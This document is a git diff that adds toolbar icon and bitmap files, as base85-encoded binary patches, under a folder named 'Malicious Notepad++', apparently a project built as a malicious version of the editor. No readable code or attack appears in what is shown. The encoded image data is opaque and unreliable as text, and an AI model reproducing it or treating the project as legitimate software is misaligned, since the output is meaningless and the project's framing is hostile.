zZ{n-?5`MwwL*7Uod;?#>=kWo4(FR2}!VmCmd=t-3TM7U121OR*hxiEJ$9M5;&Vmh! z*oY3bL9I~p)PTBZgPxwAba!{B>+5S>U0vz&@>1vL=L*A6r>CcCwOTqpK31(()6vn9 z%H^^S4-Zu+6tug$t6VOpt*tGsudi!mWkvD7reDv__&Kigg}8a$#eKc5$>Epc?&izm ze8>F#<2MC~9~X-(#T3r~*OPU>tz7YKGCWU(?-~PlV-!741u@q>Gdu<391~#U;bRc{ zCvjtw$V}WnMY_y1fs1DUcGLUf7o41CfGq%iZol|%f_qZCnv}^DmJZMQ^zVSvesxUX zf^$>&WNADBlMHSK7rq~lPcx)o9G;{nOOoD$X*d~v?J|FfUhzsk%fsev|G$FwI zu={iDe&!r{_#piKy3D?^s9&fVvp3n7SMAkbwED+STKa2KnLGY{c#<~$kyc-&W$Mxk reKAYErS@po>7%*Kb(Q;#TWOE@&p3NkhO|r6WqYfyn)NoAYg+yT`i?Ja literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/supp_on.ico b/Malicious Notepad++/src/icons/supp_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..658ba716098f3d715931a2b8263b252235b06992 GIT binary patch literal 2238 zcmc)MF-Rj@6vpu{_`t0ci(OCxu^D-->2+TjQ>D@LX#=v5F3sjOzAk|jma@h2SSD2( ziCwTrmMyG?6e6r7i}hf&%ac9tfA368)MVSe!^zCt^P4kw&WxaxVcXu8AD>=HZ#eps z*e3oWGGda^_`~m#pUm8`8YDSyG?E>^9ID^%tAEp1{N-Oov8g*YH6v4XU@G)XL1>bT z_Kj4(kSeEAu_on9iYE9WzJqV!YxpwukT}5a;dk)?eiKjKZWrIgSMddWfRzip@WKnP zk|y{ezJqV!Yxpw$5PyK*!|&n){3brekMR+HfbZc$e28!3>-Y-3h|l8k@-ALAqZ0N=yA>LI#~uA?jHB05j~34Vz0;9K|_zKlP_AK>@!yZ8XV ziKlM2i*Mqq_yRt_FX|3mo8X7|4!(u2;mi0#`~ltEqno>QGoYKB_!vLNNB9B0hY#@~ zzKyTrEBGQlk2k#G4R3hE8=eK-@VYK|U8lUR8n3HVl4ATAAK?f19zMh``Fu3N5Ahv* z3tz*R@k>4*>PG6~oA@fefDiD?8WhGro!u42|qOj?qtN!>zN?urdGe-5Ow*6$sgf+vuVI!>F5mDsd3*wwPRb|g>1|Swq!W-{n6ASwc$#(~ zS$z6vzKf$-8j$tEUzRp!K0U4A^U2TCw5#B&%D0cN%Fmuc~d z`LqKI(!X!Y?5mmmLuAZ;%Km=P+s1dTe}1QxZ`;b;@$bXEl=~sAKS-;@%6H~smV8U} lIc_k=;VS!e&U3fYTk`L5_Mi-9SBO>n*;qI0=eXBw{0}&&#mN8w literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/suppall_off.ico b/Malicious Notepad++/src/icons/suppall_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..a3649742fe4644b80583451844144c1177aca436 GIT binary patch literal 2998 zcmeI!KTIP>6vy$O&nJ-z(n51IMzpwxTnVn+fP1%=XxzCuSClw%L5Z%2qR6h?AXCMn zu%jrV+6uWq_6a3Y1S_sNDVMx_-|Q|n7yG27Ns-Jl-aqd%Z{LoG1u3T&+T8q7-hO@| zZL#0n^fT$ZFQnDHw9WA*{WU$OmwZZ1Y}S&|*;$hy$IWK4Qb?+Xo?@h}uSMeo$5pQ_I z8{Y7SH@t6SwoA4%wmMrm_!vLINBAMWkN4~ybQ|43SJ5SOk^EEq2;arG@O69ze~3T8 z@8Wmx1^hamyuBX&6ko&d;|qAh>7UYPw6%KKD|I+HbIY%kGi|N)6LC|uCK3kb#?`I-h%7CBvTUGC8f|y^P8=itJ#}lwH{Fm@r_6%_x zp2Ww7ND{Xc@Dyp8X#zLf9()3!=1_K0IdS_H;GH6~0z7@l9g6qS8Au8U84{3<4!4+1 zq@}~R!@ZNyKF?_Zez#EF{QX(@X#pP2;z@y=vkn1C0rT+x`z3=6|^)jYpX7PeUd3&a2HqS^P{ zc+KpOyxGT`h^e@v-sKCFH;{$CUwrbwx8$L`Div$@Zl%q@GhOO>Wns>)yBC-^?Ti*Mp<*kjre{s6y^FXDIb%pN!#ljgJG{d?JQJERp({SFb3U#nA6K<11^7AM$B*$t zyoX=2e6+w%@O^w2-^ADOYnBgreGTv(d;?#`7xC)~8a}Vx=v0`RH;;SczCE%sieKVJ?-x9YIAc_!Jkg=-@W_x|5JGu(^t3r zSH*Oy{CbgNdkpMOE*C#AJSW4eRf_Od0_%({qqKPiSGz@QBf;6zP z(ZJ{!1EvtaN1VW-ISVd9Ql=CLgG-Q9idluDZE}w?dulj99s#apEq=pvJO&nC#<_^o(^()KJxyMpK8nZ3B)kOia7IOij*?rN~yQ3D~@}ZKZuY+Qx)W4JQD25)Kzgbejy%hF351 zOjs;2o7QRq$;?xIJTIGJ>Tc?EHG$O4e|qZNFMLnga_;Y}bDuIU`%!N*f$~4zY2(*7 z%Kj#0f0wo%=s)t6*;*iN+|iFD(TnS?_+FOY+y>3=<>`O;B)z4%zm##V&2vT@&fW1$ Fw$IIIOltrD literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncH.bmp b/Malicious Notepad++/src/icons/syncH.bmp new file mode 100644 index 0000000000000000000000000000000000000000..ba588b882e365a5f517b5201fbba3a23f7b7bbd0 GIT binary patch literal 1334 zcmeIuyKkFN6bIlRX%N(X*+E2gQ^{!@t0b;crKv2Zky?igm8@Dp9=$Sp^vKHSk@2pK zjEqR0?#Re^*E=#Y(sQAY4E+N-SY`Ky{_;fnak zwmx`cjXWZ3joogCf^EQA01=ZU1dq3fq6i|5P-YRrh#`(+up~i3Sdt=5QwW|S%QCED z4$e82EJvQ_=mrIfqQGS&a7|oBVu3kXCISH$5JJ@wD>6?d{7hm^HeAx4axM`PDJ9&r z#40OkU&7}lg1n?1<)TDc(wtZD^9pOSA$~zM*^q#QDvJtR!eoW2QnQ+7HA1pgWQ~Y0 zk|<@3l<=xXUAJ<&)9?B*|GmrOE&lIY7)`u;KO7EEjt7IcZGU!m^Ua-oI-3pJ{@lI3 zy`5Y+)4}s6dzz+=-7nvr*Hh=_Soc(n=U21K^QrUor0qX17K{7)AMV|-?N1L5E-pTd zyWKZt^Zui4sr;g6n0iNjef!As`aR2N_uk01t)68a8J*_6=Z*TdZI84+eLMa~-+35& X#ly zM?tbkg{Nr*?~M#Ak+q0yu~3p7R;Y*Qu~*{%ZlG;j^3Xi#4WS~1Jn8+r7``}~N3ip| zeNI3~;;F?cGaw`t*5Z;AkdSyf|6-yszDRm2v-g#$oF}~lRQ_`&=gAq9vQ=&%>juc- z2~VE%2jHhJPkR5+sq2B1kCNoPH4IiHpPG`xHenE^d_J)j( zeN$8U%2dvi-hnx}@jU7MOa8kXuzwuyho1GWN4@DmuewLa8moGD4!?D%zxD$c_!u8( EpC4Kb=>Px# literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncH_off.ico b/Malicious Notepad++/src/icons/syncH_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..e1bc73d4398066b3b9eff12125daa95ffcce7e2f GIT binary patch literal 3262 zcmeHIv5LY#5FN3#7AvvzGxV3t57=4S+1dq(-w^$bSZHxvVP_N~B%rKsvbxMcE{-S% z2fNvwyu5ky7#10c8hCm=LhR6@MbsvuJ`N}v;4sf?jGSNp?*8YRG#Bexr1yKWHHCH1@S0bAqA2F^Kk%MW^_v1L$O(6=bNZVmPHa3 z7I0(?J_ldM9840SO0R_YlJ4BT{>1JR;F@j`o!+HTTW0SjQfd2t8qH&UP${jfy<~pF zdZlzgmHe#1dS#7?Px%{o=?0X;6P|jdY(PJC^-AeqId!GL;Yy{S&wf6;Ur0Uh^SSoaR2}S literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncH_on.ico b/Malicious Notepad++/src/icons/syncH_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..f9a50dd47556dc4552438ee2da3eb0a5d61a5b54 GIT binary patch literal 3262 zcmeH{v2MaZ42F#mY6ga&N>xWj9)kz#z{ZF~AE0aJ<^lQ+734~d?LXu^k0H02|9Su^&s9G_l+^eCc@MTH-B%=SDlj>R;AAVm{p`@3zr!0{u>-g0 zKxVt)X;WyL-K literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncV.bmp b/Malicious Notepad++/src/icons/syncV.bmp new file mode 100644 index 0000000000000000000000000000000000000000..81533af0f39576e74b89efdfebfca4d5f29db2bb GIT binary patch literal 1334 zcmeH_J!{)g7=@2or^<(DMT1KMZXJV4gkVFs!5K%yTKu#n9 za>5H3bw-`w3}G0O6Fejj!J-Hek&B3Wj5v;w@fb;xK#By@kb`rM2@?=Pz;sijX^M*= zLys6RBFtbDlPH7BGh~_S5>vvCC7eWJK`gnXol;16gp?A4IL9=}Y0u&C9InV|qfF@? zU&9e=EQlrHq|}Ke;S!$8Yz?1aQh7mMz$1KxED#Wkh!lB&nBeOIML|j5R^=m)-{61! z1A2KEpW5yA<$0_1VdK4t{c}7T^hT|XUyr}v-+#O94qMMFPc;qw@sD5K(_z;>e>PXw z|9w09ay{(cUGA3tbvBzlJWR)v_Fm~9Pfl)bKKGA~-tU*LSq+shYr0W-rD>hb=gnGU z>qf`28ns5_OgGEjn0K0%Wp%WFUcR0`(W~2i;}yM1XR0#{VE+|1>JoB literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncV_dis.ico b/Malicious Notepad++/src/icons/syncV_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..cdbab9ad04b66ac355d07c8862400e901bedde1e GIT binary patch literal 3262 zcmeHHu?>ST5PU>I6NxTL2W9#UKxSYeJWgs)z$hMpk^wR~& z59^6C{_2`|zR=@DbS9!J4=&N2$5LNH@!C&>F-B{xl!`eG1a^WD1p+7i!+%-wKWyp$ z_+!_QE4OWXd&SDR_LU$~WBCB2kfrZPgt-jRXCJm_ z_((j*_y2e>BRQZeL*S(E90<>lr4TszA8_9FE3c)b{<(JydU6n0_JUd>1ePrhNv3LS aVn?5;+~j>R6s8=@q56h5H&bW3***ctiv#Qc literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncV_off.ico b/Malicious Notepad++/src/icons/syncV_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..693b28c8c0cef4a0d97bd7710ed0e87b2b2c32e8 GIT binary patch literal 3262 zcmeH{L2AN46o#L;a3i=YT~(L8g?c4DfS$r51WC>i@fOLV1y4{@Fc2Xc|LKsI2m${` zyXeB`48!=%|6YEFU!;f6WFnYfWjhpk5s`NcY{?A6?Yn1<-~Po@9zV}%l*bFE8x!mW zO-D?y>KAF4$4jz*9#;Kx5}kIeJ`a2S3;a*Q6W6~9Zu(C{L;p0~=qFKb@rQ&PeYC{+ z^K*Y#_}+i&{@4CfaHH=mrH(j#8diV!D-C~0xT+s_1ouB)dz5pN~Wn?DgIKdFH40qHA`RKJ&B78NUaA$Vddw!=^|y!TKtuNHoFi5_}}01P^No tQzV*TEn$j86RaivWKoWbDLeMPb^p-c53<2wRE)CmZ_Zt(<*Hg;s~fk`UUUEe literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/syncV_on.ico b/Malicious Notepad++/src/icons/syncV_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..c457d602e7c1ecb994129227eb0977a997b2793e GIT binary patch literal 3262 zcmeHIOA5j;5FHU|7X=kT+|{MGs0S1D40;LIdI8U1FW}aNP!~cg{w7Y16|2ru5W%KR z$miu{@;WmmD)G~96SplIdqhnl>Tu;L>T)&nrVM!PCyE~gmMvIBvcjYEc8b^ZsyVk&fH2%PeB{#S>j$q#Dqx9l(SrzoA@+We5e zd^-z)Wvhg|`u|eo&s)VaqyNmG838`+?)*5=)>&y#UX*7}z>% literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/undo.bmp b/Malicious Notepad++/src/icons/undo.bmp new file mode 100644 index 0000000000000000000000000000000000000000..3ed55cec391a5707504234b3b3edf540ea7e00e7 GIT binary patch literal 1334 zcmeH_y-&hW6vdAsf*(XwOwcBXUyYzuq0tJ#U^$yp&PY%NB4;SN~xH)z!tuN{X&M>G(bL0?hye(hI4f zi$UaKu~@*3CUD~kCK@rtH2TCRnZ{&J1T&dRYCNN#(NoDxYeE$sv&T#l`jkpM;loQv z>cb~9MHK-&8Ng3S8X!?Hjz9ghds0k9KkY)-h%c1fd8FBdr%jNQ)|2O!vf1tv8)NNhY`)g0vZ5)<2H&Lps z#`=bB+m>aSjosQCult7M*!F{EU6_Y8z1TO5o$7Y^z`QkgiHUs>}QONseb!Z5tIGqin+{Q8Th^*0~?$ zmXzO@GTTxzC&g28TznH>!I$tkd>Xq-tl*dMi+Bq^k7wR$6<@?>@d>^=kRI#Dt<*RE#VjO7JeS@;oEoz-@w=KHr~dU@p*g(pTx)U25;~NZ}0|h z@c!0f+h^Nm%dw?yyoYb&9ee{{!~3(_=rTHw&Y+X%IP<&sCcc6%;dA&jeigrhU&1fq zE&M#5d8<`?5ue2;@D^V9->XB_TznH>!I$tkd>X%sU%@X?%|)tdQO$Y0hi~H@d;?#@ z+jtva#^>=Fd=ek`pK*ADH+X|Lc!TE)wfI8&T&`^{SB}e-N=Y8Rjd$=3d<}2oLza(R zd=p>6m+(1!8XvNJnAcGiU&Lqe3A}|5E0AMcd=p>6m+(~Dr18N8a*T&>;~jhhU&B+J zkODarqDmBrERi5ABCJ5;@mQTsM@L6TIy^ko!NGy{_V#4kwsv-QR4$jbxw)x)KCkul zb!9Rct*xyonM`VVd0FvzT(MY83kwUHo12sO&FJIq?sNT}I_8!LY5pDKc0!U2bCKMW z-lV*H((O;kw~r&I*Wr26S7*cUyxZxW4MySllU{!?x(LYs8teAYN8b2pe(c?jot_T^ z(-#vyQyO24hS&XG=eW(!TEOHN-thd7>BzBr8S?JY;Or`L;xhZw$$5H^KJA94rNQ;Y zwAAl*CaeiQlfNwJlkdme%lm#{FYucO%717u;GdKYW4;g{i1$R{aa?iUC7Q%mfy*^z ierU#gSHxWFB~QuM9N%)j!MHIdLTnLDqDx#6586-7APido literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/undo_off.ico b/Malicious Notepad++/src/icons/undo_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..ffdbe8546b0af95e298d414b8bfb7ec7cd341de2 GIT binary patch literal 2998 zcmeI!F=!f59LMpWNucdwyPBmg7rMqhX-DJalDNAHS%eNQk=Q6*6dW>!4yBZHatUUt zBt@Zv(@jArcn~^DvJ_JK@AsJmVtSXYw2;2@e|OLS=Pu9xd#8~ST2MOuOs;)fkXAUR z)2=6dd@Lmwr5Bv1iC08IOYEg8_NHB3ebcLwP}3}z*HKTvOSaMv(8<# z$5Q1;D(*|UvXsdy2=POF2j9Y%@dfNAv4LO1ui`y?3eSDJU3?Q?!e{XwcJ^f9g%@6U zFXIdNP5g$&TEnm6J$wp3#ZT}7et_@ceY}rv<16?gK8MfX4R3hE8{Y7S zciWilh;5&(%$A?|DSm?(E0hf&d$zsdU~qSXr$xgV;vqI%J+R892}_KZmV9et5T_GdwW~O zVo_ULTgv5fT3=sRCX><1%8Hhkmz7K=HN7;wfA{Xe{!Z=kOvE(z$n4f)lDy3$ zlb?{@i_g!}_4vHInwgAkvveaiEq8U}ZAAY1nprv`-?+}Zt0U9*j7e%V>U(={YOi-E zW_%yqZGSW^-TSxQSne6x)ll8Y?+$vd&j*|9|JI56*mEeNEOYsPu@mu6$|tk0FU>~8 xXQDqJm-H`)kT~h@Sk*l*3Hzx<`=LknT~9ear_W{DF{_!`2@w((#3ga7{Q{xo;bZ^+ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/undo_on.ico b/Malicious Notepad++/src/icons/undo_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..832c8ffb106ad4d206debe9a702a3a8b263acda5 GIT binary patch literal 2998 zcmeI!F=!f59LMornm{|HW;9D(E_Bu1w4-ryN!(q9EVsEtC}dP{$QUw|QqIXGn5mK! zg$_-laPBw%qi-ZPiIquh(x*yi--L*W>IGHham;)d&uE$-VtA zk9q~z1AnzF?sGOjrM`0Sku2S-v#;GNZlCu?Jw>11DU3{=iK!8qs(n+TYw`m2xr^3F zs+~xc1F7gsxst*uet>V|n|L2z#%>c^_&h#~_wZ>v<90gu2EK|f;63c@lZ6*vc;Qvj z6hFYX@lCvsFXOlITN){k&*D9N8Xw^&_z>U6ckux}z_;)`=kSI%yx|RRc*DD6 z#BsuLz~OV0W-1^`~cs^H}O8cjNis@;q&+`-ovNy zjN9qp8~7@|fcNmi|GGM?+7v&)xA9H9k1yl5@mu&jtC?jrJytV~kMI+Gi0|XO_y8Z^ zTlgBjf-mB8?mG@|c*7gs@P=nXBPMjh<2vAR`8=*tNs90je2DMkyZ8W~uzfVe5Abb# z6Yt~8_=N4lxS=}u2EK|f;5~fO0);lk5Abb#6VFOp86Uqup+)!!KE(I&T|A4Eus|UT z(IFZ{l_(G%k+eXUmzTP@xX}6exrW1`PESvDe0;1R2y}ROs8*|`{r!E_YBlZd?y6F$ zXlG|f#bQyLo14nza@yF~(E9qiR##UQU7Ow>9X;CrQ|>d7P+ZDw(WF9dG#V#mU0>3R zzY`YlEd5}9oJy@NbXjOHcxvr|{45=p|9Q>zj_ZGWEioN8=6q&u%oJrj=Kkha=aoO2 zmLB}uZW0en?PiW{=JVOcRk*RZ%Xin}Zu>4v?Kk}w?7z~8`H}L$?DH$LA@PyuEygwN rD`HBV_4cgpzR{NKyO!;np4wME=lp^;-Lz-+#>~!$DRD(y6Zgsww}Hy6 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/unsaved.ico b/Malicious Notepad++/src/icons/unsaved.ico new file mode 100644 index 0000000000000000000000000000000000000000..919f73ce4ed8ad3735a4b920795fdc9de023d276 GIT binary patch literal 1150 zcmZQzU<5(|0R|wcz>vYhz#zuJz@P!dKp~(AL>x#lH~{6)L2~l_|E{jL|4U0h{m;t! z5Cd~?T>FoXxwy{!7ZSSi-_-Q7-R-7@5}#7m;MLxA)1|? zpZ~{)L8=@bKZ5mx+<~rt^X8ZT@nMjDZ}0d2v$LOr{e`X{pWPriZ2H%(MYtcVfB@m? z`SX8q@q4)aF#Vt~K*zzs-~VI7$ohBf`h%el*_`0u{}^UeSAU1wzkffby@d3)wS57n z6;SxW^n>CBhCyKr!!R)z4e}4N{^Q3<3qO#5`uqRF?MK%SvIidk`3;n2LFpZo?#a;) z3UiQtQ2HlTKPbLI7-V;3-=AhZ;rg?<2~A1+9td=+gW7(|SKv7$l`N>DKZk*JAW z3;{J!VlXx_LQF_JfF6tl{D`6P&2bE zKHTr`#`Sv-aP`^+T<+?@#jaa8-_e22&Stb-=|)?7JI=HcoIFiXcbLFgOHf=zkYgjT z<$l76Q$uKO>4B%^60%(c=3D|3N04bD&}9;6^aRP8c_`Hc3gsLW2{TYB-ytq`8gc9d zSOtNc{f@120+yYESo{IPFhXm<>rcq#qX-Tf1sgw%@bF;-G5v^?_0qmxoI6{Cx~5j_ zt#5*(%8kN`8n|38xXNCkr(WrzbBMVB60f~u;P^ltlzX?*Q6he`N`Vxpl zB8Y@^PnlIVlV+^RS_S^K0{pjsth_4bZ>c>{eZ0IZhCg4+f*t#-EAo>9jGvqDfW&^# zZjJ{d5G*Xm2pA@WvoEm4v&pmdOKkC}R$&5~_9t((u>$&wqc@)zm~T4`1yn$lj^)?Q zN?crE(QKhi&!wt0XhX)Fvh o)a!E_8{7_=%8-DKYJHY{K|CH$!_h;o(%t)LJiqcK{x=fiH)8?O9smFU literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/userDefineDlg_off.ico b/Malicious Notepad++/src/icons/userDefineDlg_off.ico new file mode 100644 index 0000000000000000000000000000000000000000..c1bc22d649cf17428301b3046d812b46f90c5c61 GIT binary patch literal 4022 zcmeH~F-}535QYaZp)mrT9WNBd-k#?rxPn(8v3iN8ptSQC9Kb_RSXfF!EQssBjQlS1 zV0V3jmFvzjGduhJ%fK^1q$O=BioW>q+7`LOYf<<} z=;>`#VH18;=?hl4GM~@!>NnhGigVtB;m@c1@<0Bx14A_3xi@MqH;M1q4SXVqmxJBd z4Uh=--4cl~M!{ewMnRu?fT3VF_PJ9G>Ea8Pu-)(Z<>sCho`KVj$z*bL0d^2%@Q)=y zEFJJiqtP$2x}q&9LfLgc+V?f0WM_X$`Q-#2TK;_rV7f@H$^FoR8XD zseF~dih&Hq-r@#HpcKn>gFhx;fo8>3wLk2?`FtN%PP`k%Xh*H~i!Uw15{j z4tBL6=6T7)vdmx^vVd)GCPbid$fv^(nwcEOU>PRQzT7=>M&25M#(5Uec}R$G;}|W2 zW$0$2Gbse1kzk0s5ojFeZoX!=5NJj#!lzs_A$FCVq|;0&iLDp>NT_~1Ka(SrPm5GW zgd(RJY}JJtKyr>yD5v=7HO{Sv&MkU){Ce&kzbfX^{SfKmmrkdGLC{;vScy2xD%62h Qf?0xHLZgHhYyn%BpT@p_3;+NC literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/userDefineDlg_on.ico b/Malicious Notepad++/src/icons/userDefineDlg_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..ce653b93dc2b6d8cd485fbe6e68b46d7c6446196 GIT binary patch literal 4022 zcmeH~u};G<5QeWUQWr#mo~94M6sga^02><*zyoxryh8_s80k_mR2;u; z!p?JZ!3>j@%O$RAfpsTlWnti@LTdVNe_DYFiq8Bgnj0P1`<$qNd80}KgeU&Vf-(GWLS!zkb9=lYyEo`GL()BB?fte8z#Wblt9 zAy_dqe|{ieXuh%Mw|@&h&5v~8`;b7S;5U~j0FfnpiQdk((h)E5t4bt$>kNk}a2Nr8 z9Zljk$F?CSIc0vSM0O7ByO;Ni#q;&UD`vA4VA^}F`e=SpB9jBGVPdv-#oL;X=L>L` zZw?%fs?03-Mq>XUS0;A|T6_&J*QW!}*`oMW4QZx6Qh(?3U2JEK9gr%viaE#d-9|VP z4&nQXm65>tO+j#rR&I<82Ka^`W$z}`$d_}<2Q85pBcAWj-sX?eo$nkwvyM-5Hr-CP zZGk(6qgBVBuGsWOApji-adDnHzW#Zwep$y0f#zt1_#%um=-x_5Dk+#|qmxiG*3W1o z4 c)#y1RgC8|=W&i*H literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/wrap.bmp b/Malicious Notepad++/src/icons/wrap.bmp new file mode 100644 index 0000000000000000000000000000000000000000..adc317817a578c73185cf5f2809b681b84a8a2e4 GIT binary patch literal 1334 zcmeH_uWy4u6vw}8Z6AaExUK6-vySb88UH{NEON;V5{pD4vB=8FS|k!lf~u^X#3GTC z><(sHvdJl4^11K(-g|eKT%P;BnWBr$1b7u0`$2))7nEMQRptU!Rlyj8VHn_?!?tZW zjsw?qQI;i&_zj-t2^AzB_5$Dc5d;CkFvRCBL=;7+(g?MnN@LVnj4DfnCPKHU^DUbE z15F{>p)OK1dr5}okm2i)qitK{;w`Bo;~$JO@INy^f5ijQYPDP}<}!#3i-_}=XVYA- zALsO>S-NF*MszKSm_~O;*D=zLJPo`)ot&R3Goniw`n`VAKd@I9v+f86m44&)=DKhB IrGC2o4f7e-Z~y=R literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/wrap_dis.ico b/Malicious Notepad++/src/icons/wrap_dis.ico new file mode 100644 index 0000000000000000000000000000000000000000..972af962b781c3f8c14b3dc150f19fd3011cfeeb GIT binary patch literal 3262 zcmeH|u};G<5QbebupqG^HafEN05GHjBo9!e_5ol?)>M_?4LWy)1@Qo(*&rSY6H_9Q z1*U`!jk**uAk6Q$YSXlJDuOp$o#oo+@6LB;hmZ<>)hbEb%@!d$80|x+ z5^Mi$5&_1T(pZ46)CAy3G7NlQ(J7K7@q@s1d);nVV&Zm`Cn$< zGP&oJ(kP0`a3p&v_2MW()kt(oE{WnS36XCX{_DCfa_yxN6Lzz`98$Q7Qqc{=Op}6) zBPm(97#Bh$3gB}SIK?FIlhov_NC<^X!US%d2o$pa=cg$2LA3(TSU;_IIvquZj*m~; z?Y84M?}LE~6X$1VSJ&5J7$WZ~_=wEoTt(TP7c4W3J#)q9|0n zgyJ(1hA+^`K}2D%*=J3}QH%!`a9ldW(1qKJoSZqy-z+?eW9o4@UUEDgz%F_&P{Qsy z{WLfcJWt`c%ec`3z79c!4r8xy>>1LBP{;#gpJc9p*(EYdD(rikvajtvrt{f$I_OtKVZlaXMU%jq;Y0oLOz`Ipyow`Z2)FQ7++1&e=fB^uN za)DtF{rl=d5FF1A?i*7NVfmuL(b>nvUQURU0z&sUY>;q~&mMYy=G{XLjFXOz=!W4Ed;l5v8%yxIFAE4L>6ph&}cCQ&dfv38&VsZn+#`4$45oaFa3VsYUZ;Nw6MKKQE^WX{HRbcA3X$rt4Jr#E z-Nhbrb|!2m)7hnU-Bv~549d~Vf+yc)`S*g56b`bVu+Z+mCN%gjkn9^dXC)575e~p@ zT~ke3*7sMqoW}$>Gw;YCOXhLIjP%uUi(CV4m^p`6T7}(MZNnGK>Vb*fQE#Z%)GJ`9 zQs2g~Sy^S_yLOGQ+70!N`oL$JbKT#+RQq^T8|bSg`peENbtceRSxe?4G0?a0162FK AssI20 literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/wrap_on.ico b/Malicious Notepad++/src/icons/wrap_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..29535fbcafbf44b7003ec469dd0d76455ee4e07d GIT binary patch literal 3262 zcmeHJL5tH+5Pn6Pq;1+X6~vo8diMwDukxn5pwOat+C>xuQ4h)_p8|MlU$q(1tD5tQ43ta6{SD)uNWWJ_esed2fIaBGa;fIX3j;wC2htE6ap=2*_eC zwJ>GA0D^k6t=!X5hgq@9FjsH5;H6%oYR$su8#>DyZs*JaF6@uOS1#s7V*^~=A4NB0 zICymUcyQjFi&bFGD9#_Pq88g|c)U|`sfV$H$%ZL`H*O^y&?;^UE$c~v`Gz-6IAnXo zY0SylzYO@}6a}Qv(~r9to5`|?S%Go1lBbxam=>y!6qt2lV-ZGLqrnqYh-<&0(0>jyMe~xe?KzsRK4P?%Zf#BY=Ec_lI93lS05x+Rn zr(xo~m3lQm*)tEi+>7f85dVoBVqqZPk1@2R`Y>5B^cXjoamRmc5H!zlEolk_8BktLW4_4~+ApN|DR#!H3)%|la zA3!9lC~Z+n>(DB+0)0oRMW{C!T_=>182znOsH0S&b!ZE}u^e{SzeCpOS8|zl$OXhR Sj|e?8R*~8M!bA?*iP1l=CqGgE literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/zoomIn.bmp b/Malicious Notepad++/src/icons/zoomIn.bmp new file mode 100644 index 0000000000000000000000000000000000000000..eb649e196fcfa9fad5c40dbb7da90d0dabd06a48 GIT binary patch literal 1334 zcmeH_J51a_6h$ut1c`tpKSF?fHeakH$ct7R)<~AH<0wK(Wy`Ynd$JBwlQrO&)9znZu(@2UEStGr&%{bc zu(Ar1BrZ&{$UsOM6EF;prbE*-$HZcA zqYjXCaJtDbG?19Okc$&Zjj!K#$2EY^E^Rur|KlBpzYmYcpC?E$JyIg^T(-VGlGeCS zBKWxbMyZyO)^|JJ{eq3opFz z!YiWzzKd_*Yxn{_i{HiXsHZLb2HwHP@jkwf_wXHj3-97xd>voJ=kRHK5^wMZZ}0|h z@CI*>9>+Py2}gk=6L=rr$9wn=zJ<55yXZQ)h|ZzY=p^$G@LhZZU&9yhS^O@32fu~i zz&rRjo_U*1d=;O^r|=G5_}T8zwE@11Z{TbA0zQl1#qZ#^=;j99bm(Rr@8kP;58uJJ z@GjoP*YQPs4xh#+?ROmB;0@m34c_2cP>%(j^KqT`-OJNOo! z<}7HCMiYUxS65fMyu8%K#f8q!&g8nTPESu&uh&(nR8%Y$ zwZFfwTrQ`*y*;JVX>D(BE167cZEa1ftE*aBS&{$E=>5BQzv*|X@|G?3llpV{FsQ}z z4`~YZHmJ!JzFLkiudi!Z4JuRi9SW)47eqJOoEmv4#i4YvJgEMVU2+XY7N;9(xT|LFIg_1#P@ zUkV#E2Ib0ZJO#?-hw&JcgPIoy;2@~^F(9g`wT%vqnH^d(pBN>Ev~;i0;T>bd@MELH lFH560dP4e)^u@jO`c5L1`PH~n%-l1n;pwLI%$W8I^Bv$ZUmgGe literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/icons/zoomIn_on.ico b/Malicious Notepad++/src/icons/zoomIn_on.ico new file mode 100644 index 0000000000000000000000000000000000000000..66a55141b2cd566ac82f1fa3a583652f788bf625 GIT binary patch literal 2998 zcmeIzF-#h59LMn=wMjd8mi266S`M!H}DmF5r2T+ z$M52|@eba`Gj6+$uj9-39NxhTKfgMx+6dprx9|;o1z*G;;P>&ntmZbW>9CqM-p3E| z9=?a~;9b0nZ{n-?55AhzphwtEB z{F3dX5x$Ra;T!l0zKCD4eHhnM8(+tl@j1MMU$#J=8R7f*7QTUJrA-mPc!50QqyAU8l=*j&|r}3v_pPr<gr0DmzO#}KbPyeIy*a4v)Rq#D@yF?~UWPS0!#9>~ZEb06g%zopJc#Wb^02Jr*S-|RUk zIEc-spjKBSkj#TP$|JCmh&4_VPxAmU#Y83YProYvK7mD_A51X5g2#Dy{qgrb^Sez< zKVG0Iu^XQbd8o)9yB?=rzfVGh;iD;Jp-_@8h*FYm48qrNOE8nz%E`&u%F2_qm6erErcRzb zSvz^Mvb?o~EGRsC$*=GI{`byYI{4^TQB-#WuxL8?rhorrvB zp9}$G2m^-MY=$&uFx&uX5}-W}sfXxKBaFNVG9h?`lu#lInNx1|U5<*JKCHy!=u2KYi 